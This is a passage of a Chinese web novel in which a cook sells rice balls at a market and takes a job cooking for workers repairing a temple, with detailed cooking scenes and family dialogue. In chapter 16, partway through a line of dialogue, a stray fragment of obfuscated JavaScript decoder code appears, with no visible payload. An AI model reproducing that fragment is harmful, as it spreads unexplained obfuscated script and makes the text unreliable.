顾宛央回头一瞧，只见李瑾修拄着棍子，笑得一脸灿烂。估计他是前些日子被困在床上动不了，现在可算是可以自己下地了，天天就想下床往外面跑。 “你来的正好，刚想把早饭拿给你。”顾宛央一边说着，一边到厨房，拿了一个用油纸包着的圆圆的东西出来，递给李瑾修。 李瑾修赶紧接过来，握在手中暖暖的，他费劲扒拉地挪下床，为的就是这一口早饭，他捏了捏手中的早饭，软软的，不由问道：“咦？这是什么？” “肉松饭团。”顾宛央答道。 一听肉松两个字，李瑾修赶紧打开油纸，一个圆滚滚白胖胖的饭团出现在眼前。 饭团很紧实，李瑾修吃过饭团，但做的这么紧实漂亮的还是头一次见，关键他想到饭团里包着的可是美味的肉松啊，心中满是期待。 李瑾修将油纸小心地将饭团裹好并露出一半来，他轻轻地咬了一口，白胖胖的饭团就缺了一块，露出金黄色的肉松来。 李瑾修咬的这口饭团里，满是肉松馅，就顾宛央做的跟包子一样，咬一小口就能吃到肉馅，咸鲜的肉松遇上筋道的糯米饭，这种搭配简直是绝配，馅料里面还加了自己腌制萝卜干，又增添了脆爽的口感，使得味蕾得到极大的满足。 “你慢慢吃，我去摆摊了。”顾宛央已经收拾好东西，跟李瑾修打了声招呼。 “姑娘慢走。”李瑾修虽然沉迷于眼前的食物，但是依旧抽空回应了一声。 顾宛央推着新车，比之前背着背篓轻松了很多，东西也能放得多了，今天到达集市的时间居然比前些天快了些许。 “顾姑娘，今天有新早点了吗？” “今天这推车不错啊，这车子还怪好看的嘞。” “来来来，我们帮你把东西搬出来。” 跟往常一样，不少回头客都等着顾宛央的到来，一见到她的到来，人群便热闹起来，基本不用顾宛央动手，推车上的东西便被搬了下来，整齐摆放在小摊上。 “各位，今天新增的肉松饭团，十文钱一个，大家要不要尝尝？”顾宛央站在小摊前，笑盈盈地说道。 “肉松饭团？这是什么？” “饭团我知道，但肉松馅的饭团我就没听说过了。” “应该是肉做的吧，不知道好不好吃。” “尝尝不就知道了吗，来，让一下，给我来一个。” “对，我也要一个。” “我也要！” 顾宛央在问出刚刚那个问题的时候，就已经开始在做饭团了，她将装糯米饭的锅盖揭开，因为小泥炉是放在推车上的，所以一直都生着小火，炉子上的米饭依旧是热气腾腾的，盖子一揭开便是一股热气夹带着香气冒出来。 顾宛央再将放肉松和萝卜干的罐子打开，众人脖子都伸长了，想看看肉松长啥样，等看清楚肉松的样子后，大家都露出好奇的神色，毕竟都没见过肉的这种形态。 顾宛央将糯米饭盛到油纸上，戴上自己做的简易纱布手套把米饭均匀地抹成圆形，再将肉松和萝卜干舀到米饭中间，然后将米饭捏成一个圆圆的大团子，用油纸包裹起来，整个动作一气呵成干净又利落，很快就做好了一个肉松饭团。 第一个出声的客人赶紧将十文钱放到小摊上的钱罐里，伸出手接过顾宛央递过来的饭团，他的动作可没有李瑾修仔细，把油纸一扒拉开，见饭团露了出来就咬了一大口。 只见他一边吃着饭团一边眼睛瞪大，仔细观察了一下手中饭团里的肉松馅，实在是因为从未吃到过这么特别的肉，咬在嘴里酥香咸鲜有嚼劲，再配上香喷喷的糯米饭和脆爽萝卜干，这一口吃得别提有多香。 见到第一个食客大口大口地吃着饭团，看起来格外地香，剩下在观望的人再也忍不住了，自觉地排好队，个个都伸长了脖子，等着队伍排到自己。 新推出的肉松饭团被一抢而空，原本热销的肉包子多少有点受到冷落，但众人见肉松饭团被抢光，也就退而求其次地把肉包子也买光了。 旁边的小摊主都投来羡慕的眼神，这姑娘年纪不大，生意倒是做的红火，每天早上来摆个不到半个时辰的摊，东西就全卖光可以收摊回家了。 顾宛央已经习惯了这么早就可以收摊，她慢慢地整理着炉子锅子放到推车上，准备回家。 “顾姑娘，请留步。” 听到有人喊她，顾宛央抬起了头，见一个身着暗灰色交领常服的中年男子匆匆走了过来。 “您是在喊我吗？”顾宛央直起身子，微微屈膝行礼问道。 “是的顾姑娘，我叫徐进才，是鲁工师的副手。”徐进才自我介绍道。 顾宛央记得鲁工师，是那位心系百姓深受爱戴的工官，只是鲁工师的副手来找自己干嘛呢，顾宛央只点了点头，等着徐进才接着说下去。 “是鲁工师安排我来找姑娘的，是这样一个情况，文庙最近正在维修赶进度，但负责做饭的厨子家中老父突然病重，不得不回去伺候，所以想请问姑娘是否有时间来文庙给工匠们做饭？”徐进才身材已发福，刚刚疾步走来已经有些气喘吁吁，一口气把这些话说完，便靠在小摊旁边歇气，等着顾宛央的答复。 顾宛央认真听完徐进才的话，这是工作找上门来了吗！ “徐工师，您的意思是说，让我去做文庙工事的厨子吗？”顾宛央确认道。 “对，不知姑娘是否有空？”徐进才确定地说道。 “徐工师为何想到找我？”顾宛央有些疑虑地问道。 “是鲁工师安排我来找姑娘的，他说吃过姑娘做的早点，非常美味，相信厨艺肯定也很好，就看姑娘有没有时间了？”徐进才说道。 “多谢鲁工师的信任，那是要做一日三餐的饭食吗？”顾宛央脸上有被肯定的喜意，虽然这是件好事，但她也习惯问清楚再做决定。 “正是，为了尽快完工，工匠们也不是都住在县城里的，所以工事安排住在文庙，府衙要负责他们的一日三餐。”徐进才答道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姑娘可以选择住在文庙，也可以选择不住，只要不耽误工匠们的一日三餐即可。”徐进才说道。 顾宛央想了想，说道：“那烦请安排我住在文庙，我家住在城西村，如果每日往返的话，需要很早出来很晚回去，没必要把时间和精力浪费在路上。” “哦？城西村？”徐进才讶然地看向顾宛央。 “对，就是府衙安置流民的村子，我是从南边过来的。”顾宛央坦然地回看徐进才，说道。 徐进才被顾宛央的目光看得有些心虚，他确实有些瞧不太上这些流民，因为觉得他们给府衙带来了负担增加了工作量，虽然也深知成为流民并不是他们自身的原因，谁想背井离乡到处流浪呢。 “哦，那是最好住在文庙，比较方便，姑娘放心，我会安排一个偏僻的角落，不跟那帮大老爷们住一起。”徐进才考虑得很周全。 “如此，就多谢徐工师了，对了，您希望我什么时候去上工？”顾宛央问道。 “明天！” “明天？”顾宛央有些惊讶，这么着急的吗。 “对，还望姑娘费心了。”徐进才希冀地看着顾宛央，心里默念千万别拒绝千万别拒绝。 “好，那我明天就来上工，早饭是来不及给他们做了，我在市集卖完早点就会过去。”顾宛央应了下来，工作机会不容易，得好好珍惜，她家里又没什么牵绊。 不过，刚应下来这件事，脑海中就突然浮现出那个满眼都是食物的年轻人来，顾宛央甩了甩脑袋，得，忘记这人了，不过他既然能下地走路了，也该是时候让他离开了。 17. 第 17 章 顾宛央得了一个挣钱的活心情非常好，刚刚徐进才说过每日的工钱是二百文，若是能做一个月的话，加上早市摆摊每日净挣的一百文，那这一个月下来得有九两银子了，这已经是超过大多数人的收入了。 顾宛央推着小推车，把明天做肉包子的肉先买好，然后买了活蹦乱跳的黄颡鱼打算回去做一锅红烧黄颡鱼，明天要离家去做工的事情得跟桂花婶和张婶说一声，还有要把李瑾修送走的事情也要商量一下，索性中午喊他们一起回来吃个饭一起说一下，再留两条做个鱼汤给李瑾修喝。 文庙就在西市集的附近，顾宛央买好东西，推着车子去认了一下门，只见整个文庙已经关门，四周被围了起来，看样子应该还在工程的初期。 顾宛央一回到家中，便去地里喊了桂花婶和张婶中午都回家吃饭，等再回到家中，就看到李瑾修正俯身好奇地观察着还在推车上的黄颡鱼。 听见顾宛央开院门的声音，李瑾修站直了身子，指着推车上的鱼问道：“这是什么鱼，长得好奇怪。” “这是黄颡鱼，也叫黄骨鱼、黄辣丁、昂刺鱼。”顾宛央耐心地解释道，这种鱼不像在现代是有人工养殖的，这年代的黄颡鱼都是野生的，通常生活在小河里，因鱼身小而不被富贵人家所能瞧得上，所以黄颡鱼价格便宜，一般只是寻常百姓家餐桌上的美味，李瑾修没见到过也属正常。 “这鱼这么小，能吃吗？”李瑾修问道。 “这已经不算小了，你还没见过杂鱼呢，比这更小的鱼都能吃。”顾宛央一把端起一锅鱼，放进厨房打算开始处理。 “真的吗，好吃吗？什么时候能做给我尝尝？”李瑾修今天的气色和体力比昨天又好了许多，他跟着顾宛央进了厨房。 顾宛央闻言神色有些复杂，有些敷衍地说道：“也不是很好吃，鱼太小了刺又多，你应该不会喜欢的。” 李瑾修也没过多地追问，比起从没见过的杂鱼，眼前这黄颡鱼才是马上就能吃到嘴里的，他的兴趣显然更在这里。 “你身体看起来好多了啊？”顾宛央见李瑾修没再说话，打量了一下他说道。 “没有没有，还是浑身无力，站不住。”李瑾修一听顾宛央这话，赶紧找个小板凳坐了下来，以示身体虚弱。 “那你回床上躺着休息去，你在这里也帮不上忙，等饭做好了喊你。”顾宛央说道，多个人在厨房碍事的很，主要是他也帮不了忙。 李瑾修虽然很不想走，但又怕影响顾宛央做饭，于是一步三回头地离开厨房，但也没回床上继续躺着，他在堂屋里偷偷甩开拄着的棍子，扶着墙慢慢走起来，直到松开扶墙的手，虽然走的很慢，但让他的脸上露出了喜悦的神色，对于一个正常的年轻人来说，能自由活动真的是太重要了。 顾宛央等李瑾修离开厨房，赶紧收拾起黄颡鱼来，黄颡鱼虽然很便宜，但营养价值却很高，肉质又细嫩，主要是刺还少，所以顾宛央把那家卖鱼的剩下的黄颡鱼都买了回来，统共也没花多少钱。 黄颡鱼没有鱼鳞，浑身滑溜细腻，且又新鲜活泼，抓起来太费力气，这让顾宛央花了不少时间才将一大锅的黄颡鱼处理干净。 处理好的黄颡鱼清洗干净，把水分晾干就可以开始准备下锅了，锅中放油烧热先要将黄颡鱼两面都煎一下，这样煎好的黄颡鱼不但不会有腥味，还会非常的香。 鱼一入油锅，便发出美妙的滋滋声响，顾宛央事先在油锅里均匀撒了一层盐，这使得鱼很顺利地炸成型并且没有粘锅，随着鱼慢慢变成金黄色，原本软软的鱼身子变得硬实起来，煎鱼的香味开始四处飘散。 两面煎的金黄的黄颡鱼被盛了出来，顾宛央夹出四条鱼放到另外的锅中加水煮汤，剩下的准备一起红烧。 锅中的底油留着，把姜蒜片扔进去煸出香味，再将煎好的鱼放入锅中，沿着锅边淋一圈料酒，料酒和姜蒜与鱼的香味完美地融合在一起，再加入酱油、盐和少许水，稍微翻动一下鱼让调味料充分融进去，然后就慢慢等着它煮开、收干水分，最后撒上一把葱花和青红椒添色就可以出锅了。 顾宛央闻了一下面前的一锅红烧黄颡鱼，她的嗅觉天生灵敏，这眼前野生的鱼就是比人工饲养的香。 烧完鱼，顾宛央再炒了几个菜园子里的蔬菜，就等着桂花婶和张婶一家回来了。 在堂屋偷偷练习走路的李瑾修，老早就闻到了厨房里鱼的香味，但又不好意思去厨房打扰顾宛央，只能干等着鱼上桌。 “好香啊，宛央姐！”小桃的声音从院门口传来，桂花婶和张婶一家回来了。 小桃风一般地冲到厨房，扒着厨房门框就往里面探脑袋。 “别进来，快去洗脸洗手，马上就可以吃饭了。”顾宛央瞧着浑身是泥的小桃，立马阻止她想要进来的想法。 小桃也知道顾宛央喜欢干净的习惯，笑嘻嘻地说道：“宛央姐，你放心，我不进去，我就在外头闻闻香味。” 说完，她使劲地嗅着空气，嘴里满足地叹息：“真是太香了。” “小桃，赶紧过来洗。”桂花婶大嗓门吼道。 小桃虽然不愿离开厨房，但为了更快地吃到美味，也麻溜地赶紧洗脸洗手，还得要洗的干干净净，不然等会宛央姐这里过不了关，就上不了桌。 张婶家的大丰和小丰洗的飞快，两个半大小子干了一上午的活，已经是饥肠辘辘，平时中午只能吃点自带干粮，今天宛央姐来喊他们回家吃饭，他俩的心老早就飞了回来。 小桃的弟弟栓子年纪小动作慢，九婆婆为了能早点开饭，直接上手给他洗起来。 终于一大家子都坐在了堂屋的大桌上，顾宛央把做好的鱼和几个蔬菜端出来，自然少不了咸菜酱菜萝卜干这些下饭神器，别看一大锅鱼，每人也只能尝个鲜，要吃饭还得靠这些神器。 “真难得，我们几家人也就是过年的时候这么整齐地坐在一起吃过饭，今天看来是个好日子。”桂花婶说道。 “是啊，宛央来喊我们的时候，说有事情要商量，到底是什么事情啊？”张婶问道。 “先吃饭，孩子们都饿了。”顾宛央笑着说道，几个孩子的眼珠子都快盯在中间那盆鱼上面拔不出来了，李瑾修虽然没那么夸张，但也是忍不住眼神往鱼碗里看。 大家一听到顾宛央发话了，忙端起饭碗开始吃饭，先填饱肚子才有精力说话。 顾宛央把鱼汤盛了一大碗，又将红烧黄颡鱼夹了几条放在小碗中，站起身来一起推到李 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鱼汤呈奶白色，上面漂浮着翠绿的葱花，单看色泽就已经很诱人，再闻一闻气味，那叫一个香！李瑾修喝进嘴里的那口汤，顿时在口腔弥漫开来，整个味蕾都被打开，尝得出来汤中只加了些许盐，但却鲜美无比，没想到这没见过的小鱼味道如此好！ 李瑾修一口气把一大碗汤全部喝了下去，顿时觉得胃里暖暖的，整个人都满足不已。喝完汤，李瑾修伸出筷子夹了一条红烧鱼，毫不犹豫地咬了下去。 一吃进嘴里，李瑾修脸上显出不可思议的表情来，他什么大鱼大肉没吃过，眼前这小小的一条黄颡鱼居然这么的鲜美，而且还没有鱼刺，不用小心翼翼地避开鱼刺，吃得非常尽兴，鱼肉非常的嫩，事先油炸过的香味包裹着鱼身，吃起来一点腥味都没有，咸淡也调的刚刚好，李瑾修不由地扒了一大口米饭，这红烧的鱼配上米饭，味道简直绝了。 “宛央姐，这鱼烧的真好吃啊！”小桃在吃完一条红烧鱼的间隙，不忘夸赞了一句。 顾宛央微笑地看着她，这孩子情绪价值还真是能给，嘴都这么忙了，还不忘说夸赞的话。 “姐，你啥时候能烧的菜有宛央姐这么好吃就好了。”栓子在一旁嘀咕着。 “有人给你烧就不错了，你还嫌弃你姐做饭不好吃！”小桃在栓子头上敲了一下，说道。 “小桃，栓子说的对，你好好跟宛央学学。”桂花婶胡乱朝栓子头上摸了两下以示安抚，转头对小桃说道。 “你们要是不让我下地干活，我就有时间专心研究怎么做饭，现在我哪有时间学啊。”小桃白眼翻到天上去了，每天下地干活都好累啊，哪有时间学做饭。 “快吃吧，这么好吃的鱼还堵不上你抱怨的嘴。”桂花婶无奈地说道。 大家又埋头苦吃起来，到了最后碗中还剩下两条鱼的时候，大家都默契地不再伸筷子去夹鱼，而是开始把各种下饭神器挑到碗里扒起饭来。 顾宛央见状，用筷子将两条鱼一分为四，分别夹给给大丰小丰和小桃栓子。 等众人都吃饱放下了筷子，顾宛央这才开口说道：“有件事要跟大家商量，明天开始我要去给县城文庙的工事做饭了。” 18. 第 18 章 顾宛央此话一出，一桌子的人都露出惊喜的表情，除了李瑾修。 “宛央姐，给文庙工事做饭，那得是有钱挣的吧！”小桃问道。 顾宛央看着小桃一脸的开心，不由笑着说道：“那是当然，一天工钱能有两百文呢。” “哇！这么多！” 在场的人都惊呼出来，除了李瑾修。 “嗯，所以我毫不犹豫地接下了这份工。”顾宛央也跟着众人开心地说道。 “那肯定是要接的，我家那口子在外面做的苦工，天天累死累活的也不过只有一百五十文，你这工钱算是高的了。”桂花婶羡慕地说道。 “那你是不是要住到文庙去了？”张婶问道。 “对，住家里来回跑太辛苦了，那边的工师说可以给我在文庙安排住的地方。”顾宛央点头道。 “哦哟，宛央啊，在文庙住合适吗？那些修工事的工人是不是也都住在文庙啊？”九婆婆关心地问道。 “无妨，工师说过会给我安排个僻静的房间，离工人们远一些。”顾宛央说道。 “虽然是这么说，但你一个姑娘家，一个人出门在外还是得小心谨慎才行。”桂花婶提醒道。 “咦，宛央姐，不如我随你一同去吧，可以给你做个伴，也可以给你打打下手，正好还可以学着烧菜。”小桃眨巴着一双机灵的眼睛，充满着期待地说道。 桂花婶想都没想就开口说道：“不行，你走了家里的活怎么办！别想着偷懒。” “娘，我哪里是要偷懒啦，你刚刚还不是说让我多学学宛央姐的厨艺。”小桃灵巧地躲闪桂花婶的那个巴掌，不服气地说道。 “你是从我肚子里爬出来的，你想的什么我怎么会不知道！”桂花婶说道。 “哼，每次都自以为是，我才不是你想的那样。”小桃低声嘟囔着。 “你说什么！给我再说一遍试试。”桂花婶的暴脾气一下炸了，虽然小桃声音低，但抱怨的话还是传到了她的耳中。 “本来就是嘛，我从小到大哪里偷懒过，每次都说我偷懒贪玩。”小桃梗着脖子说道。 “你这丫头，还敢顶嘴了。”桂花婶扬起手作势要打小桃，虽然平时小桃就顶嘴惯了的，但现在毕竟大家都在一个桌子吃饭，桂花婶的脸上有些挂不住。 “等一下，等一下。”顾宛央突然灵光闪现，忙制止桂花婶和小桃的争执。 桂花婶每次都看上去要揍小桃，其实真没打过她几次，听到顾宛央的话，也顺势下了台阶，把手放了下来，看她要说些什么。 其他人也都看向顾宛央，等她开口。 “桂花婶，其实如果你不反对的话，确实可以让小桃跟我一起去，她可以给我做帮厨。”顾宛央想起徐工师的话，看着小桃说道。 “帮厨？”桂花婶听到这两个字，不由重复了一下。 “对，那边的工师说还少一个帮厨，如果我这边有合适的可以一起带过去。”顾宛央点点头说道。 “那帮厨也是有工钱的？”九婆婆迟疑地问道。 “自然是有的，只不过我没问到底有多少工钱。”顾宛央当时没想到小桃可以做自己的帮厨，想着自己也不认识什么人，就没问的那么清楚。 “真的吗，宛央姐？我可以吗？”小桃听到这个消息，兴奋地站了起来，拉着顾宛央的衣袖连声问道。 “宛央，小桃没做过帮厨啊，这，这能行吗？”桂花婶听到是去做帮厨而且有工钱，有些心动起来，家里的农活虽然也需要人，但毕竟在外面做工直接就能拿到现钱，不像家中的农活做了也是见不到现钱的。 “无妨，帮厨也就是帮忙做些洗菜切菜烧火的事情，小桃平时在家也做这些的，而且不是还有我呢吗，她只要跟着我就行。”顾宛央说道。 “行，行，宛央姐你喊我做什么我就做什么，我什么都会做。”小桃立马表态道。 “只是，小桃年纪还小，也从没离开过家里，还有那文庙里都是些大老爷们，你们两个姑娘家的安不安全哪？”桂花婶又犹豫起来。 顾宛央看桂花婶纠结，也不好多说什么，反正她把这个机会说出来了，去不去的还得她们自己做决定才是。顾宛央是觉得没什么问题，南夏民风开放，在当朝皇帝的各项政策治理下，安全还是可以得到保障的，毕竟她一个人从南边辗转到了此地，还有什么好害怕的。 “哎呀，娘，有什么担心的，那可是朝廷的工事，谁敢闹事。”小桃松开顾宛央的袖子，拉着桂花婶的衣角急着说道。 桂花婶本就担心顾宛央的安全，现在自己家闺女也要去，那就更加担心了。 张婶一直在旁边听着，不是她自己的闺女，也不好多说什么。 九婆婆同样很纠结，一边听说有工钱很希望小桃去，一边又担心孩子出去不安全。 “宛央姑娘，桂花婶，在下有个建议，不知道你们想不想听。”李瑾修的声音响起。 众人的目光都看向了李瑾修，顾宛央见李瑾修开了口，点点头说道：“请讲。” “宛央姑娘和小桃姑娘尽管去，在下可以陪着一同前往，虽然我现在有伤在身，但不几日便可完全恢复，有我保护两位姑娘，桂花婶你大可放心。”李瑾修说道。 这话一出，顾宛央眉头抬了抬，她还没来得及安排他回家呢，他居然开口要跟她们一起去县城。 “瑾修，刚才光顾着说做工的事情，还没来及跟你提及，我去了县城做工，就不能给你做饭了，还请通知你家里人来接你。”顾宛央说道。 李瑾修就是担心顾宛央要把他送回家，所以才抢先开了口说要跟她们一起去县里，没想到顾宛央不接茬，反倒还是提出要送他回家。 “我，我那信鸽好多天都不见踪影了，怕是联系不上家里人。”李瑾修说道。 “无妨，今天回来的时候我看到长生叔回来 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张婶看看李瑾修又看看顾宛央，还是选择不说话，李瑾修说忘记家在哪里了，八成就是扯谎呢，桂花婶和九婆婆却是顺着他的话说，明显就是想让他一起去，这样也放心小桃一起跟着去，就看宛央想不想带他一起去了。 顾宛央默默叹口气，没想到李瑾修看上去挺正经的，却是个无赖的性子，他不肯说出家在哪，也送不走啊，要么就还是将他留在村里，让他自生自灭。 “哎呀，不用他一起去，我跟宛央姐两个人可以的，我俩力气可大着呢，谁敢欺负我们，我可不是吃素的。”小桃小手一挥，霸气地说道。 顾宛央听到小桃的话，不由笑了起来，这小姑娘的性格她是喜欢的很。 “宛央姑娘，你放心，虽说我跟你们去县里是保护你们，但你非但不需要付给我钱，我还会继续给你付钱，就像这些日子一样，你给我做好吃的就行。”李瑾修见小桃这样一说，顾宛央笑了，连忙又开口极力争取。 “哎呀，这多好啊，宛央你又可以多挣一份钱。”桂花婶忙附和道。 “是啊是啊。”九婆婆也说道。 顾宛央看了桂花婶和九婆婆一眼，两人的心思她怎么可能不晓得，为了能安心地让小桃跟着去县城挣这份帮厨的工钱，肯定是想促成李瑾修一同去的，毕竟多个人好照应，她也能理解做父母的心情。 不过如果能多挣一份钱，她也不是不可以，毕竟反正都是做饭，顺手的事情也不会多麻烦，顾宛央心里考虑起来。 李瑾修见顾宛央神色松动，继续开口：“宛央姑娘，这块玉佩拿去当了以后，足以支付已经发生的以及将要发生的费用，你不用担心我会赖账。” 麒麟玉佩被李瑾修放到顾宛央的面前，张婶桂花婶她们不懂玉，只觉得这块玉佩看着就很贵，但顾宛央是懂的，原主在顾家从小就被教授各种知识，鉴宝赏玉的能力自然是有的，确实如李瑾修所言，这块玉佩绝非凡品。 “行，你可以随我们一同去县城。”顾宛央沉吟了一会，抬起头看着李瑾修说道。 19. 第 19 章 李瑾修闻言犹如听到天籁之声，确认道：“姑娘所说当真？” “你若是不想去，也是可以的。”顾宛央不在意地将玉佩推了回去。 “去，去，想去。”李瑾修立马标明态度。 桂花婶和九婆婆也明显松了一口气。 “只是，你要住在何处呢？”顾宛央想起来这个问题，她跟小桃可以住在文庙，但多了一个人，不知徐工师能不能安排。 “等我把玉佩换了钱，可以在文庙附近找个客栈住。”李瑾修根本没把住在哪当个问题。 “宛央，你问问文庙的工师，看能不能安排瑾修兄弟也住在文庙，毕竟住的近点好照应。”桂花婶厚着脸皮说道。 “明日我先问问徐工师。”顾宛央对桂花婶说道，然后转头对李瑾修道：“你这玉佩还不知能当多少钱，能住文庙就住文庙吧，省点钱做你的伙食费，如若是徐工师不许，那你就自己想办法去。” “全听宛央姑娘安排。”李瑾修抱拳应下，住哪不重要，吃什么才是他在意的。 “若是徐工师问起来，我就说他是我弟弟，受了伤家里没人照顾，就带着一起来了。”顾宛央说道。 “嗯？弟弟？我看姑娘应该比我小吧。”李瑾修不服气地说道。 “个子大并不一定就年纪大。”顾宛央淡声说道。 “这好办啊，你们比一下生辰是什么时候就好了，宛央姐的我知道，是康平七年九月初一！”小桃拍着手说道。 顾宛央没来得及阻止，小桃就把自己的生辰给报出去了，她有些头疼，这丫头嘴真快。 “什么？你也是康平七年九月初一生人？”李瑾修听到小桃的话，有些不可思议地问道。 顾宛央摸了摸鼻子，不会吧，他难道跟自己是同年同月出生的？ “这可太巧了，我跟宛央姑娘同一天出生。”李瑾修说道。 “是啊，好巧。”顾宛央敷衍地说了一声。 “我俩一样大，那你不能说我是你弟弟！”李瑾修说道。 “我只带弟弟去，你自己决定。”顾宛央懒得跟他争，直接扔出杀手锏。 李瑾修没想到顾宛央这样说，他虽不甘心做弟弟，但奈何有求于人，只能乖乖地闭嘴。 “瑾修哥，有个宛央这样的姐姐多好啊，她会照顾好我们的！”小桃心情很好，她马上要跟着宛央姐出门了，她好心地劝解李瑾修。 李瑾修见小桃笑得灿烂，不由也心情好起来，管他什么称呼，只要每天能吃上美食就行。 桂花婶见事情确定下来，开口问道：“明日就要去了吗？你们打算什么时候走？” “明天早上我还是先去西市集摆摊，摆完摊再去文庙。”顾宛央说道。 “那我明天也早些起来，跟你一起去。”小桃马上说道。 “不用，我还是一个人去摆摊，你晚些时候与谨修一起来就好。”顾宛央说道。 “啊。”小桃听到自己要跟李瑾修一起去，语气有些嫌弃，说道：“他腿瘸着呢，走都走不快，慢死了。” 面对小桃的嫌弃，李瑾修倒是一点不在意地悠哉喝汤，反正顾宛央已经答应自己跟着一起去了，至于怎么去，相信她会安排好。 “你真是一点不担心，自己这受伤的腿怎么挪到县城去啊？”顾宛央特意看了李瑾修一眼，有些意外地说道。 “宛央姑娘一定会安排好的。”李瑾修眉眼含笑地看着顾宛央说道。 顾宛央目光转回来，这位爷还真是一点烦心事都不会有呢，算了，谁让自己想赚钱呢，赚钱从来都是要费心思的。 “等会我去长生叔家，麻烦他明天上午把你跟小桃送到文庙，长生叔有一辆板车用来运草药的，到时候你委屈一下跟草药挤一挤。”顾宛央说道。 “没问题。”李瑾修点头，只要不让自己靠两条腿走过去就行。 “宛央姐，既然有长生叔送了，那我就不用跟他一起走了吧。”小桃还想再争取一下。 “小桃，你帮长生叔一起，有个照应。”顾宛央坚持道。 “哦，好吧。”小桃见顾宛央不松口，也就应了下来。 “桂花婶，那你帮小桃准备准备，我们这次大概要去一个月的时间，中途可能回不来了的，帮小桃带些换洗衣裳和她日常用的东西。”顾宛央说道。 “宛央姐，我自己会收拾的。”小桃抢着说道。 顾宛央一愣，哦是了，虽然小桃才十五岁，但在这个年代她已经算是个小大人了，况且穷人家的孩子早当家，桂花婶主要在地里干体力活，所以她家的家务事基本都是小桃在打理。 “多带两件厚衣服去，虽然天气渐渐暖了，就怕倒春寒，别冻着了。”桂花婶叮嘱道。 “我晓得。”小桃说完，麻利帮着大家一起开始收拾饭桌。 顾宛央做了午饭，桂花婶和张婶她们拦着不让她收拾饭桌洗碗，不过她也一刻没停歇，就去了刘长生家，请人帮忙的事情越早说越好。 对于刘长生来说，也就是顺路的事情，而且顾宛央说等李瑾修到了县城当了玉佩，就能付清诊费和药费了，刘长生也是很乐意送李瑾修去县城。 顾宛央从刘长生家回来后，收拾了一下东西，其实她也没太多东西可以收拾，最主要的是把最近赚的钱都收好带走一半，穷家富路，出门在外手头还是得需要备多些钱才是。 第二天一早，顾宛央推着自己定制的小车，早早地去了城西市集，今天不像往常那样时间充裕，得早些卖完早点，好赶去文庙准备工匠们的午餐。 顾宛央刚到摊口，就被老顾客们围起来了，有人说道：“顾姑娘，你可算来了，我们还以为你今天不会来了呢。” “是啊是啊，你不是被徐工师请走了吗？” “顾姑娘，你以后还会来吗？” 顾宛央一边手上不停地准备摆摊，一边笑着解答：“各位放心，以后每天早上还是会来的，” “那就好，那就好。” “我就说嘛，昨天我亲耳听到顾姑娘跟徐工师说早上还是来这摆摊的，你们非不信。” “你说的对，说的对，来，我们让你来排第一个买。” 众人得知这个小摊每天还会出，心情大好，把提供消息的人推到第一个位置。 顾宛央也是没想到短短这些日子的出摊，就有了这么些铁粉顾客，脑中不由地琢磨起等钱攒的差不多了，倒是可 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“那如此，顾姑娘就住在这里，一会你就简单收拾一下，如果有什么缺的物品，可以告诉我。”徐工师点头说道。 “好的，徐工师，您昨天说还缺一个帮厨对吗?”顾宛央见住处定下来了，于是开口问道。 “对，你放心，我会尽快帮你再找一个的。”徐工师忙说道。 “我有一个帮厨带过来，也是个姑娘，不知道可否？”顾宛央也赶忙说道。 徐工师一听，立即说道：“当然可以，最好是你自己带来的帮厨，用的方便些。” “那帮厨的工钱？”顾宛央问道。 “帮厨的工钱是一百文一天。”徐工师答道。 “好的，那就多谢徐工师了。”顾宛央点头，帮厨这个工钱已经是不少了。 小桃的事情好解决，但李瑾修要住进来这件事，顾宛央有点不太好意思开口，她犹豫着怎么启齿，徐工师在官场这么久，察言观色是有一套的，他开口说道：“顾姑娘若是有什么问题，尽管问。” 顾宛央见徐工师已经把话头递过来了，于是一咬嘴唇开口道：“徐工师，我这突然来城里做工，家中有个受伤的弟弟没人照顾，我看这小院子还挺宽敞，想接他过来方便照顾，您看可否？” 徐工师沉吟不语，顾宛央急忙补充道：“您放心，绝对不会影响我给工匠们做饭的，他的饭菜我会自己买了单独在小院里给他做，柴火调料这些我们自备，绝对不会占用工事膳房一分一毫。” “还有，我们就住在东西这两间厢房，不会动用正屋这三间房。”顾宛央表明态度。 “姑娘父母为何不能照顾呢？”徐工师问道。 “我父母早已双亡。”顾宛央说道，这也是事实。 徐工师一听，顿时脸上有些许愧疚之色，说道：“确实，工事急需厨师，多亏了顾姑娘能接了这份工，既然顾姑娘有难处，那我们也应当解决，所幸这个院子还能住得下，只要不影响你做工，你就将他接过来照顾吧。” 顾宛央见徐工师松口，立刻行礼拜谢：“多谢徐工师！” 20. 第 20 章 顾宛央谢完徐工师，紧接着问道：“请问徐工师，不知文庙公厨在何处，离这里远吗？” “不远，从院门出来右转，走大约百步路即可到达文庙公厨，公厨的里间是厨房，外间则是饭堂，工匠们用餐都在那里。”徐工师说道。 “我想现在就去公厨，工师是否可以带我走一遍。”顾宛央说道。 “姑娘不稍微休息收拾一下吗？我可以在外面等你。”徐工师没想到顾宛央立刻就要去公厨，不由地问道。 “不用，这里干净整洁，等做完午饭下午回来收拾也来得及。”顾宛央急着想去公厨了解情况。 徐工师见她这样说，心中不禁暗叹鲁工师推荐的人确实不错，做事情麻利的很，必是个负责任的。 “那你跟我来。”徐工师说道。 顾宛央跟着徐工师出了院门，文庙是祭祀重地，也是官学的所在，整个都透露出庄严肃穆的氛围，里面所有的建筑都大气磅礴，屋檐柱子雕刻着精美的图腾猛兽，各处都显示着官府对文庙的重视。 “这状元殿便是官学学堂，最近文庙维修也正好还未开学，学子们都没在学堂，所以文庙维修得尽快完成才是。”徐工师一边带着顾宛央往前走，一边介绍路过的建筑。 顾宛央一边点头一边仔细听着，有一种来文庙旅游的感觉。 “文庙公厨平时就是提供为学子们的餐食，这次回家的刘大厨便是公厨厨子，他是前朝御厨的后人，烧的一手好菜。”徐工师说的。 “御厨的后人？那是很厉害啊。”顾宛央发自内心地说道，作为同行，她对于好的厨师有种亲切感。 “可不就是嘛，所以官府特别聘请他到文庙公厨，为这些苦读的学子们做饭，希望在食宿上尽量提供好点，让他们专心读书，也好能多中几个秀才举子。”徐工师感叹道。 历代朝廷都对读书人很重视，看来当朝也如此。 顾宛央一边观察周围的环境，一边记着路，果然走了百余步后便来到了文庙公厨。 大门匾额上刻着“膳堂”两个大字，大门敞开着，徐工师带着顾宛央走进去后，大声喊道：“尹多小师傅，在吗？” 